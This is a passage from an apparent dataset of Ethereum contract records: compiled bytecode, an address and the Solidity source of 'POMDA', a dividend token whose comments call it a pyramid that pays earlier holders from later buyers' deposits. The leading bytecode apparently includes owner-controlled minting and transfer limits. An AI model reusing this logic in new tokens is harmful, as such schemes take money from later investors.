e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a72611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610b53611206565b73ffffffffffffffffffffffffffffffffffffffff161415610b7457600080fd5b610b898160095461167e90919063ffffffff16565b600981905550610be88160056000610b9f611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60056000610bf4611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3a611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e9d611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220b1b2f06b6db7a47c55835cbe4110b71a2d8e9f33314599e04ce9d6c95d6e3c6864736f6c634300060b0033
{"success": true, "error": null, "results": {}}
87
0x0be5e8f107279cc2d9c3a537ed4ea669b45e443d
pragma solidity ^0.4.20; contract POMDA { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "POMDA"; string public symbol = "POMDA"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 10; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 100e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1 ether; uint256 constant internal ambassadorQuota_ = 20 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function POMDA() public { } function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller&#39;s dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there&#39;s a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) //require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) // antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can&#39;t give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn&#39;t deserve dividends for the tokens before they owned them; //really i know you think you do but you don&#39;t int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It&#39;s an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c6565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a68565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b06565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b3e565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b48565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610b91565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610b96565b005b34801561030757600080fd5b50610310610d3a565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610d98565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610d9e565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e0a565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e29565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610e72565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610ed0565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610ee5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f83565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c6004803603810190808035906020019092919050505061124e565b005b34801561059a57600080fd5b506105a361147c565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e3565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046114f5565b005b60008060008060008060008060003397506106258b600a60ff16611669565b9650610632876003611669565b955061063e8787611684565b945061064a8b88611684565b93506106558461169d565b92506801000000000000000085029150600083118015610681575060075461067f8460075461172a565b115b151561068c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16141580156106f557508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107425750600254600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107d857610790600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761172a565b600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107f3565b6107e2858761172a565b945068010000000000000000850291505b6000600754111561085e5761080a6007548461172a565b60078190555060075468010000000000000000860281151561082857fe5b0460086000828254019250508190555060075468010000000000000000860281151561085057fe5b048302820382039150610866565b826007819055505b6108af600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461172a565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836008540203905080600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58d86604051808381526020018281526020019250505060405180910390a3829850505050505050505092915050565b600068010000000000000000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546008540203811515610a6057fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afe5780601f10610ad357610100808354040283529160200191610afe565b820191906000526020600020905b815481529060010190602001808311610ae157829003601f168201915b505050505081565b600080600080610b1a85600a60ff16611669565b9250610b268584611684565b9150610b318261169d565b9050809350505050919050565b6000600754905090565b6000806000806007548511151515610b5f57600080fd5b610b6885611748565b9250610b7883600a60ff16611669565b9150610b848383611684565b9050809350505050919050565b601281565b6000806000610ba56001610d9e565b111515610bb157600080fd5b339150610bbe6000610d9e565b9050680100000000000000008102600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610ce7573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006007541415610d5f576402540be40064174876e800039350610d92565b610d70670de0b6b3a7640000611748565b9250610d8083600a60ff16611669565b9150610d8c8383611684565b90508093505b50505090565b60025481565b60008033905082610db757610db2816109c6565b610e02565b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e00826109c6565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006007541415610e97576402540be40064174876e800019350610eca565b610ea8670de0b6b3a7640000611748565b9250610eb883600a60ff16611669565b9150610ec4838361172a565b90508093505b50505090565b600080339050610edf81610e29565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7b5780601f10610f5057610100808354040283529160200191610f7b565b820191906000526020600020905b815481529060010190602001808311610f5e57829003601f168201915b505050505081565b600080600080600080610f94610ed0565b111515610fa057600080fd5b3393506000610faf6001610d9e565b1115610fbe57610fbd610b96565b5b610fcc86600a60ff16611669565b9250610fd88684611684565b9150610fe383611748565b9050610ff160075484611684565b600781905550611040600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611684565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110cc600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361172a565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560085402600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160085402600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506111d56008546007546801000000000000000084028115156111cf57fe5b0461172a565b6008819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b6000806000806000806000611261610ed0565b11151561126d57600080fd5b339550600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487111515156112be57600080fd5b8694506112ca85611748565b93506112da84600a60ff16611669565b92506112e68484611684565b91506112f460075486611684565b600781905550611343600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486611684565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856008540201905080600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506000600754111561141d5761141660085460075468010000000000000000860281151561141057fe5b0461172a565b6008819055505b8573ffffffffffffffffffffffffffffffffffffffff167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a311398684604051808381526020018281526020019250505060405180910390a250505050505050565b600080339150600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156114d7576114d68161124e565b5b6114df610b96565b5050565b60006114ef3483610606565b50919050565b6000806000806115056001610d9e565b11151561151157600080fd5b61151b6000610d9e565b9250339150680100000000000000008302600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160c836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080828481151561167757fe5b049050809150509291